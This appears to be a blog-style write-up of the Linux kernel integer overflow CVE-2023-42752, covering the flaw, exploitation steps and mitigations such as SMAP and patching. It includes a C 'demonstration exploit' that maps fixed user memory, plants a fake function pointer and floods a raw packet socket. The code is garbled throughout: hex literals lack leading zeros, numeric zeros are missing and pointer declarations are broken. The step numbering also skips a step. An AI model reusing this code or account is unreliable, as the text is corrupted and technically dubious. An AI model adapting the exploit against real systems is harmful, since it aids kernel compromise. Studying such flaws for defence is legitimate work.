CVE-2023-42752 - How a Linux Integer Overflow Leads to Userland Kernel Code Execution (with Exploit Details)

An integer overflow in the Linux kernel might sound like just another bug, but CVE-2023-42752 packs real punch. This flaw can let an attacker run code in the kernel by tricking it into making critical kernel allocations in userland memory — a disaster for systems without SMAP protection. This exclusive long read breaks down the vulnerability, shows a vulnerable kernel code path, links to the original sources, and walks through real-world exploitation!

What Is CVE-2023-42752?

Discovered in September 2023, CVE-2023-42752 is an integer overflow bug that can be abused to allocate a critical data structure (skb_shared_info) in user-controlled memory. Because this structure includes function pointers, an attacker who can fill it with their own data can hijack the kernel’s execution flow.

SMAP (Supervisor Mode Access Prevention) would block this trick by making user memory unreadable from kernel mode, but many Linux systems (especially older ones or misconfigured ones) don’t have SMAP.

Official advisory:
- Red Hat Security Advisory
- HackerOne Linux Kernel Issue Report

Step 1: How Does This Integer Overflow Happen?

At the heart of the problem is how the kernel calculates memory sizes when receiving packets. In some socket code (especially tpacket_rcv), it allocates a buffer for both the packet and an instance of skb_shared_info. Here’s a simplified code snippet similar to the vulnerable logic:

int total_size = user_packet_len + sizeof(struct skb_shared_info);
char *buf = kmalloc(total_size, GFP_KERNEL);  // Potential integer overflow!

If an attacker sets user_packet_len to the maximum 32-bit signed integer value (x7FFFFFFF), adding sizeof(struct skb_shared_info) wraps around to a much smaller value — not enough to fit both the packet and the metadata!

Vulnerable path:
If SMAP is not enabled, the kernel ends up writing metadata at the end of a user-controlled packet, which is mapped in userspace. Now, the attacker has full control of skb_shared_info — which contains references like function pointers.

The exploit works like this

1. Setup a packet socket: Many Linux environments let even unprivileged users talk to packet sockets.

Craft a huge packet: Make the kernel receive a packet with length close to x7FFFFFFF.

3. Allocate userland buffer: Map memory in userspace such that the kernel writes its skb_shared_info metadata to your userland buffer.
4. Fill function pointers: Fill the fake skb_shared_info in your buffer with pointers to your own payload.

Here is a demonstration exploit in simplified C (for educational use only!)

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <netpacket/packet.h>
#include <sys/socket.h>
#include <unistd.h>
#include <string.h>

#define HUGE_LEN x7ffffff

int main() {
    // 1. Map a user buffer at a fixed address
    void *addr = mmap((void *)x10000000, x10000, PROT_READ | PROT_WRITE,
                      MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, );
    if (addr == MAP_FAILED) {
        perror("mmap");
        return 1;
    }
    
    // 2. Fake skb_shared_info at the right spot
    void ptr = (void )((char *)addr + HUGE_LEN);
    *ptr = (void *)x41414141; // Fake function pointer

    // 3. Send a huge packet
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < ) { perror("socket"); return 1; }
    char *pkt = malloc(HUGE_LEN);
    memset(pkt, 'A', HUGE_LEN);
    send(s, pkt, HUGE_LEN, );  // Now the kernel may write to your buffer

    close(s);
    return ;
}

> 🔥 Do not run this unless you understand the risks!

Filling out the entire skb_shared_info structure correctly is necessary.

- Getting code execution requires crafting a payload in low memory, likely using a ROP chain or similar.

Step 3: Responsible Disclosure & Fix

Kernel patch: The bug was quickly fixed by adding proper range checks and refusing oversized packet allocations.

Relevant patch:
- Linus commit with fix

Should You Worry?

Short answer: If you run a Linux kernel prior to this fix and don’t have SMAP, yes, you absolutely should worry!

Workarounds

- Enable SMAP/SMEP if your CPUs/VMs support it.

Apply kernel updates containing the fix.

- Restrict untrusted users from accessing raw/packet sockets.

Conclusion

CVE-2023-42752 shows how a small arithmetic mistake in the kernel can blow wide open into reliable kernel code execution — especially in the absence of modern defenses like SMAP. If you run Linux, *patch now* and review your kernel’s mitigations. This issue is a stark reminder: kernel memory allocation must always check for overflows, because attackers are watching every line.

Timeline

Published on: 10/13/2023 02:15:09 UTC
Last modified on: 11/29/2023 15:15:08 UTC